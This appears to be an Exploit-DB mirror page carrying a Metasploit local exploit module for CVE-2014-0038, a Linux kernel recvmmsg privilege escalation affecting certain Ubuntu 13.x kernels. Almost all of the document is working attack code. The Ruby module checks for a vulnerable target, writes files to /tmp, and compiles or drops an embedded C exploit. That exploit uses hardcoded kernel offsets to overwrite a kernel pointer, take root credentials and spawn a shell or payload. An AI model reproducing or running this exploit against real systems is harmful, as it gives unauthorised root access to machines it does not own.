Linux Kernel 3.13.1 – ‘Recvmmsg’ Local Privilege Escalation (Metasploit)

  • 作者: Metasploit
    日期: 2016-10-11
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/40503/
  • ##
    # This module requires Metasploit: http://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require "msf/core"
    
    class MetasploitModule < Msf::Exploit::Local
    Rank = GoodRanking
    
    include Msf::Post::File
    include Msf::Exploit::EXE
    include Msf::Exploit::FileDropper
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'Linux Kernel 3.13.1 Recvmmsg Privilege Escalation',
    'Description'=> %q{
    This module attempts to exploit CVE-2014-0038, by sending a recvmmsg
    system call with a crafted timeout pointer parameter to gain root.
    This exploit has offsets for 3 Ubuntu 13 kernels built in:
    3.8.0-19-generic (13.04 default)
    3.11.0-12-generic (13.10 default)
    3.11.0-15-generic (13.10)
    This exploit may take up to 13 minutes to run due to a decrementing (1/sec)
    pointer which starts at 0xff*3 (765 seconds)
    },
    'License'=> MSF_LICENSE,
    'Author' =>
    [
    'h00die <mike@shorebreaksecurity.com>',# Module
    'rebel' # Discovery
    ],
    'DisclosureDate' => 'Feb 2 2014',
    'Platform' => [ 'linux'],
    'Arch' => [ ARCH_X86, ARCH_X86_64 ],
    'SessionTypes' => [ 'shell', 'meterpreter' ],
    'Targets'=>
    [
    [ 'Auto', { } ]
    ],
    'DefaultTarget'=> 0,
    'DefaultOptions' => { 'WfsDelay' => 780, 'PrependFork' => true, },
    'References' =>
    [
    [ 'EDB', '31347'],
    [ 'EDB', '31346'],
    [ 'CVE', '2014-0038'],
    [ 'URL', 'https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1453900']
    ]
    ))
    register_options(
    [
    OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
    OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
    ], self.class)
    end
    
    def check
    def kernel_vuln?()
    os_id = cmd_exec('grep ^ID= /etc/os-release')
    if os_id == 'ID=ubuntu'
    kernel = Gem::Version.new(cmd_exec('/bin/uname -r'))
    case kernel.release.to_s
    when '3.11.0'
    if kernel == Gem::Version.new('3.11.0-15-generic') || kernel == Gem::Version.new('3.11.0-12-generic')
    vprint_good("Kernel #{kernel} is exploitable")
    return true
    else
    print_error("Kernel #{kernel} is NOT vulnerable or NOT exploitable")
    return false
    end
    when '3.8.0'
    if kernel == Gem::Version.new('3.8.0-19-generic')
    vprint_good("Kernel #{kernel} is exploitable")
    return true
    else
    print_error("Kernel #{kernel} is NOT vulnerable or NOT exploitable")
    return false
    end
    else
    print_error("Non-vuln kernel #{kernel}")
    return false
    end
    else
    print_error("Unknown OS: #{os_id}")
    return false
    end
    end
    
    if kernel_vuln?()
    return CheckCode::Appears
    else
    return CheckCode::Safe
    end
    end
    
    def exploit
    
    if check != CheckCode::Appears
    fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
    end
    
    
    # direct copy of code from exploit-db.I removed a lot of the comments in the title area just to cut down on size
    
    recvmmsg = %q{
    /*
    *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
    recvmmsg.c - linux 3.4+ local root (CONFIG_X86_X32=y)
    CVE-2014-0038 / x32 ABI with recvmmsg
    by rebel @ irc.smashthestack.org
    -----------------------------------
    */
    
    #define _GNU_SOURCE
    #include <netinet/ip.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/socket.h>
    #include <unistd.h>
    #include <sys/syscall.h>
    #include <sys/mman.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <sys/utsname.h>
    
    #define __X32_SYSCALL_BIT 0x40000000
    #undef __NR_recvmmsg
    #define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)
    #define VLEN 1
    #define BUFSIZE 200
    
    int port;
    
    struct offset {
    char *kernel_version;
    unsigned long dest; // net_sysctl_root + 96
    unsigned long original_value; // net_ctl_permissions
    unsigned long prepare_kernel_cred;
    unsigned long commit_creds;
    };
    
    struct offset offsets[] = {
    {"3.11.0-15-generic",0xffffffff81cdf400+96,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.10
    {"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.10
    {"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04
    {NULL,0,0,0,0}
    };
    
    void udp(int b) {
    int sockfd;
    struct sockaddr_in servaddr,cliaddr;
    int s = 0xff+1;
    
    if(fork() == 0) {
    while(s > 0) {
    fprintf(stderr,"\rbyte %d / 3.. ~%d secs left\b\b\b\b",b+1,3*0xff - b*0xff - (0xff+1-s));
    sleep(1);
    s--;
    fprintf(stderr,".");
    }
    
    sockfd = socket(AF_INET,SOCK_DGRAM,0);
    bzero(&servaddr,sizeof(servaddr));
    servaddr.sin_family = AF_INET;
    servaddr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
    servaddr.sin_port=htons(port);
    sendto(sockfd,"1",1,0,(struct sockaddr *)&servaddr,sizeof(servaddr));
    exit(0);
    }
    
    }
    
    void trigger() {
    open("/proc/sys/net/core/somaxconn",O_RDONLY);
    
    if(getuid() != 0) {
    fprintf(stderr,"not root, ya blew it!\n");
    exit(-1);
    }
    
    fprintf(stderr,"w00p w00p!\n");
    system("/bin/sh -i");
    }
    
    typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
    typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
    _commit_creds commit_creds;
    _prepare_kernel_cred prepare_kernel_cred;
    
    // thx bliss
    static int __attribute__((regparm(3)))
    getroot(void *head, void * table)
    {
    commit_creds(prepare_kernel_cred(0));
    return -1;
    }
    
    void __attribute__((regparm(3)))
    trampoline()
    {
    asm("mov $getroot, %rax; call *%rax;");
    }
    
    int main(void)
    {
    int sockfd, retval, i;
    struct sockaddr_in sa;
    struct mmsghdr msgs[VLEN];
    struct iovec iovecs[VLEN];
    char buf[BUFSIZE];
    long mmapped;
    struct utsname u;
    struct offset *off = NULL;
    
    uname(&u);
    
    for(i=0;offsets[i].kernel_version != NULL;i++) {
    if(!strcmp(offsets[i].kernel_version,u.release)) {
    off = &offsets[i];
    break;
    }
    }
    
    if(!off) {
    fprintf(stderr,"no offsets for this kernel version..\n");
    exit(-1);
    }
    
    mmapped = (off->original_value& ~(sysconf(_SC_PAGE_SIZE) - 1));
    mmapped &= 0x000000ffffffffff;
    
    srand(time(NULL));
    port = (rand() % 30000)+1500;
    
    commit_creds = (_commit_creds)off->commit_creds;
    prepare_kernel_cred = (_prepare_kernel_cred)off->prepare_kernel_cred;
    
    mmapped = (long)mmap((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
    
    if(mmapped == -1) {
    perror("mmap()");
    exit(-1);
    }
    
    memset((char *)mmapped,0x90,sysconf(_SC_PAGE_SIZE)*3);
    
    memcpy((char *)mmapped + sysconf(_SC_PAGE_SIZE), (char *)&trampoline, 300);
    
    if(mprotect((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_EXEC) != 0) {
    perror("mprotect()");
    exit(-1);
    }
    
    sockfd = socket(AF_INET, SOCK_DGRAM, 0);
    if (sockfd == -1) {
    perror("socket()");
    exit(-1);
    }
    
    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
    sa.sin_port = htons(port);
    
    if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
    perror("bind()");
    exit(-1);
    }
    
    memset(msgs, 0, sizeof(msgs));
    
    iovecs[0].iov_base = &buf;
    iovecs[0].iov_len = BUFSIZE;
    msgs[0].msg_hdr.msg_iov = &iovecs[0];
    msgs[0].msg_hdr.msg_iovlen = 1;
    
    for(i=0;i < 3 ;i++) {
    udp(i);
    retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->dest+7-i);
    if(!retval) {
    fprintf(stderr,"\nrecvmmsg() failed\n");
    }
    }
    
    close(sockfd);
    fprintf(stderr,"\n");
    trigger();
    }
    }
    
    filename = rand_text_alphanumeric(8)
    executable_path = "#{datastore['WritableDir']}/#{filename}"
    payloadname = rand_text_alphanumeric(8)
    payload_path = "#{datastore['WritableDir']}/#{payloadname}"
    
    def has_prereqs?()
    gcc = cmd_exec('which gcc')
    if gcc.include?('gcc')
    vprint_good('gcc is installed')
    else
    print_error('gcc is not installed.Compiling will fail.')
    end
    return gcc.include?('gcc')
    end
    
    compile = false
    if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
    if has_prereqs?()
    compile = true
    vprint_status('Live compiling exploit on system')
    else
    vprint_status('Dropping pre-compiled exploit on system')
    end
    end
    if check != CheckCode::Appears
    fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
    end
    
    def upload_and_chmod(fname,fcontent)
    print_status "Writing to #{fname} (#{fcontent.size} bytes)"
    rm_f fname
    write_file(fname, fcontent)
    cmd_exec("chmod +x #{fname}")
    register_file_for_cleanup(fname)
    end
    
    if compile
    recvmmsg.gsub!(/system\("\/bin\/sh -i"\);/,
    "system(\"#{payload_path}\");")
    upload_and_chmod("#{executable_path}.c", recvmmsg)
    vprint_status("Compiling #{executable_path}.c")
    cmd_exec("gcc -o #{executable_path} #{executable_path}.c") #compile
    register_file_for_cleanup(executable_path)
    else
    path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2014-0038', 'recvmmsg')
    fd = ::File.open( path, "rb")
    recvmmsg = fd.read(fd.stat.size)
    fd.close
    upload_and_chmod(executable_path, recvmmsg)
    # overwrite with the hardcoded variable names in the compiled versions
    payload_filename = 'a0RwAacU'
    payload_path = "/tmp/#{payload_filename}"
    end
    
    upload_and_chmod(payload_path, generate_payload_exe)
    stime = Time.now
    vprint_status("Exploiting... May take 13min.Start time: #{stime}")
    output = cmd_exec(executable_path)
    output.each_line { |line| vprint_status(line.chomp) }
    end
    end